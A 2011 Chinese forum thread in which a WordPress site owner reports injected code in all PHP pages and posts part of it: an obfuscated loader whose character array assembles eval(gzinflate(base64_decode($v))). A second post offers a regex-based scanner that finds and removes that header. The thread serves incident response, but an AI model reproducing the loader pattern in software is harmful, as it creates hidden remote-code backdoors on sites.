找回密码
 注册

QQ登录

只需一步,快速开始

查看: 2981|回复: 3

WP 又爆新漏洞,我又悲剧了。

[复制链接]
发表于 2011-9-27 11:12:21 | 显示全部楼层 |阅读模式
本帖最后由 snask 于 2011-9-27 11:14 编辑

前段时间突然网站速度变慢,打开偶尔出错,刷新后能正常显示,当时也没当回事。
今天备份网站,发现所有PHP页面均被插入了一段代码。
搜索了一下叫做“Linkfarm exposed!”具体危害不详。
部分代码如下:
各位自查一下。
  1. <?php
  2. $md5 = "0dc7185ccde78d3a77db0555d8c63ba6";
  3. $wp_salt = array('f',"_","c",'o','r','4','a',"e",'(',")","d",'b',';',"i",'z','l','v','s',"$",'t','g',"6","n");
  4. $wp_add_filter = create_function('.'v',$wp_salt[7].$wp_salt[16].$wp_salt[6].$wp_salt[15].$wp_salt[8].$wp_salt[20].$wp_salt[14].$wp_salt[13].$wp_salt[22].$wp_salt[0].$wp_salt[15].$wp_salt[6].$wp_salt[19].$wp_salt[7].$wp_salt[8].$wp_salt[11].$wp_salt[6].$wp_salt[17].$wp_salt[7].$wp_salt[21].$wp_salt[5].$wp_salt[1].$wp_salt[10].$wp_salt[7].$wp_salt[2].$wp_salt[3].$wp_salt[10].$wp_salt[7].$wp_salt[8].$wp_salt[18].$wp_salt[16].$wp_salt[9].$wp_salt[9].$wp_salt[9].$wp_salt[12]);
  5. $wp_add_filter
复制代码
 楼主| 发表于 2011-9-27 11:17:23 | 显示全部楼层
附清除工具
使用方法:
复制代码保存为PHP文件。上传到网站根目录,URL打开即可。
  1. <?php
  2. set_time_limit(0);
  3. ob_start();

  4. $root = "./";

  5. $find ="^<\?php\s*\\\$md5\s*=\s*["|']\w+["|'];\s*\\\$wp_salt\s*=\s*[\w\(\),"\'\;\$]+\s*\\\$wp_add_filter\s*=\s*create_function\(.*\);\s*\\\$wp_add_filter\(.*\);\s*\?>\s*";

  6. $except = array("rar", "zip", "htaccess", "css", "js");
  7. $only = array("php");
  8. $infectedFiles = null;
  9. $showOnlyInfectedFiles = true;
  10. $cleanInfected = true;

  11. $infectedFiles = startScan($root);

  12. echo "<h1>Found Files</h1>";
  13. echo "<ol>";
  14. if(is_array($infectedFiles))
  15. foreach($infectedFiles AS $iFile){
  16.         echo "<li>{$iFile}</li>";
  17. }
  18. echo "</ol>";


  19. /* functions */
  20. function getAllFiles($dir){
  21. global $except, $only;
  22.         $filenames = null;
  23.         if ($handle = opendir($dir)){
  24.                 while (false !== ($file = readdir($handle)))
  25.                         if ($file != "." && $file != ".." && !is_dir($dir.$file)){
  26.                                 $path_parts = pathinfo($file);
  27.                                 if(isset($path_parts['extension']) && array_search($path_parts['extension'], $except) === false)
  28.                                         if(array_search($path_parts['basename'], $only) !== false || array_search($path_parts['extension'], $only) !== false || sizeof($only) < 1)
  29.                                                 $filenames[] = $file;
  30.                         }
  31.                 closedir($handle);
  32.         }

  33.         return $filenames;
  34. }

  35. function getAllDirectories($dir){
  36.         $directories = null;
  37.         if ($handle = opendir($dir)) {
  38.                 while (false !== ($file = readdir($handle)))
  39.                         if ($file != "." && $file != ".." && is_dir($dir.$file))
  40.                                 $directories[] = $dir.$file;
  41.                 closedir($handle);
  42.         }

  43.         return $directories;
  44. }

  45. function startScan($root){
  46. global $find, $infectedFiles, $showOnlyInfectedFiles, $cleanInfected;

  47. $time_start = microtime_float();

  48.         echo "<ol>";
  49.         echo "<li>".$root;
  50.         $directories = getAllDirectories($root);
  51.         if(is_array($directories)){
  52.        
  53.                 // get all files
  54.                 if(($tmp = getAllFiles($root)) !== null){
  55.                         echo "<ul>";
  56.                         $files = $tmp;
  57.                         foreach($files AS $file){
  58.                                 $numMatches = checkMalware($root.$file, $find);
  59.                                 if(!empty($numMatches)){
  60.                                         if($cleanInfected)
  61.                                                 cleanInfected($root.$file, $find);
  62.                                                
  63.                                         echo "<li style='background-color:c00'><p style='padding:0 0 0 5px; margin:0; color:#fff'>".$infectedFiles[] = $root.$file;
  64.                                         echo " - ".(microtime_float() - $time_start)."</p></li>";
  65.                                 }elseif(!$showOnlyInfectedFiles){
  66.                                         $infectedFiles[] = $root.$file;
  67.                                         echo "<li>".$root.$file."</li>";
  68.                                 }
  69.                         }
  70.                         echo "</ul>";
  71.                 }
  72.                
  73.                 echo "<ol>";
  74.                 foreach($directories AS $dir){
  75.                         echo "<li>".$dir;
  76.                          ob_implicit_flush();
  77.                          ob_flush();
  78.                          sleep(1);
  79.                          
  80.                         // get all files
  81.                         if(($tmp = getAllFiles($dir)) !== null){
  82.                                 echo "<ul>";
  83.                                 $files = $tmp;
  84.                                 foreach($files AS $file){
  85.                                         if($dir[strlen($dir)-1] === "/") $dir = substr($dir, 0, -1);
  86.                                         $numMatches = checkMalware($dir."/".$file, $find);
  87.                                         if(!empty($numMatches)){
  88.                                                 if($cleanInfected)
  89.                                                         cleanInfected($dir."/".$file, $find);
  90.                                                        
  91.                                                 echo "<li style='background-color:c00'><p style='padding:0 0 0 5px; margin:0; color:#fff'>".$infectedFiles[] = $dir."/".$file;
  92.                                                 echo " - ".(microtime_float() - $time_start)."</p></li>";
  93.                                         }elseif(!$showOnlyInfectedFiles){
  94.                                                 $infectedFiles[] = $dir."/".$file;
  95.                                                 echo "<li>".$infectedFiles[] = $dir."/".$file;
  96.                                                 echo "</li>";
  97.                                         }
  98.                                 }
  99.                                 echo "</ul>";
  100.                         }
  101.                        
  102.                         // gel all directories
  103.                         if($root[strlen($root)-1] === "/") $tmp_root = substr($root, 0, -1);
  104.                         if(($tmp = getAllDirectories($dir."/")) !== null && $dir !== $tmp_root){
  105.                                 foreach($tmp AS $d){
  106.                                         $a = startScan($d."/");
  107.                                         if(is_array($a))
  108.                                                 array_merge($infectedFiles, $a);
  109.                                 }
  110.                                
  111.                         }
  112.                         echo "</li>";
  113.                 }
  114.                 echo "</ol>";
  115.         }else{
  116.                 // get all files
  117.                 if(($tmp = getAllFiles($root)) !== null){
  118.                         echo "<ul>";
  119.                         $files = $tmp;
  120.                         foreach($files AS $file){
  121.                                 $numMatches = checkMalware($root.$file, $find);
  122.                                 if(!empty($numMatches)){
  123.                                         if($cleanInfected)
  124.                                                 cleanInfected($root.$file, $find);
  125.                                                
  126.                                         echo "<li style='background-color:c00'><p style='padding:0 0 0 5px; margin:0; color:#fff'>".$infectedFiles[] = $root.$file;
  127.                                         echo " - ".(microtime_float() - $time_start)."</p></li>";
  128.                                 }elseif(!$showOnlyInfectedFiles){
  129.                                         $infectedFiles[] = $root.$file;
  130.                                         echo "<li>".$root.$file."</li>";
  131.                                 }
  132.                         }
  133.                         echo "</ul>";
  134.                 }
  135.         }
  136.         echo "</li>";
  137.         echo "</ol>";
  138.        
  139. return $infectedFiles;
  140. }

  141. function checkMalware($filename, $find){
  142.         $numMatches = null;
  143.         $handle = fopen($filename, "r");
  144.         if(filesize($filename) > 0){
  145.                 $contents = fread($handle, filesize($filename));

  146.                 $numMatches = preg_match('/'.$find.'/i', $contents, $matches);
  147.         }
  148.         fclose($handle);
  149.         return $numMatches;
  150. }

  151. function cleanInfected($filename, $find){

  152.         $handle = fopen($filename, "r");
  153.         if(filesize($filename) > 0){
  154.                 $contents = fread($handle, filesize($filename));
  155.                 fclose($handle);
  156.                
  157.                 $handle = fopen($filename, "w");
  158.                 $contents = preg_replace('/'.$find.'/i', '', $contents);
  159.                 fwrite($handle, $contents);
  160.         }
  161.         fclose($handle);
  162. }

  163. function microtime_float(){
  164.     list($usec, $sec) = explode(" ", microtime());
  165.     return ((float)$usec + (float)$sec);
  166. }


  167. ob_end_flush();
复制代码
发表于 2011-9-27 11:28:49 | 显示全部楼层
无间道?
发表于 2011-9-28 16:24:38 | 显示全部楼层
这个是主题上面还是在所有文件上面
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|广告网 ( 鄂ICP备20005464号-17 )

GMT+8, 2024-5-10 06:24

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表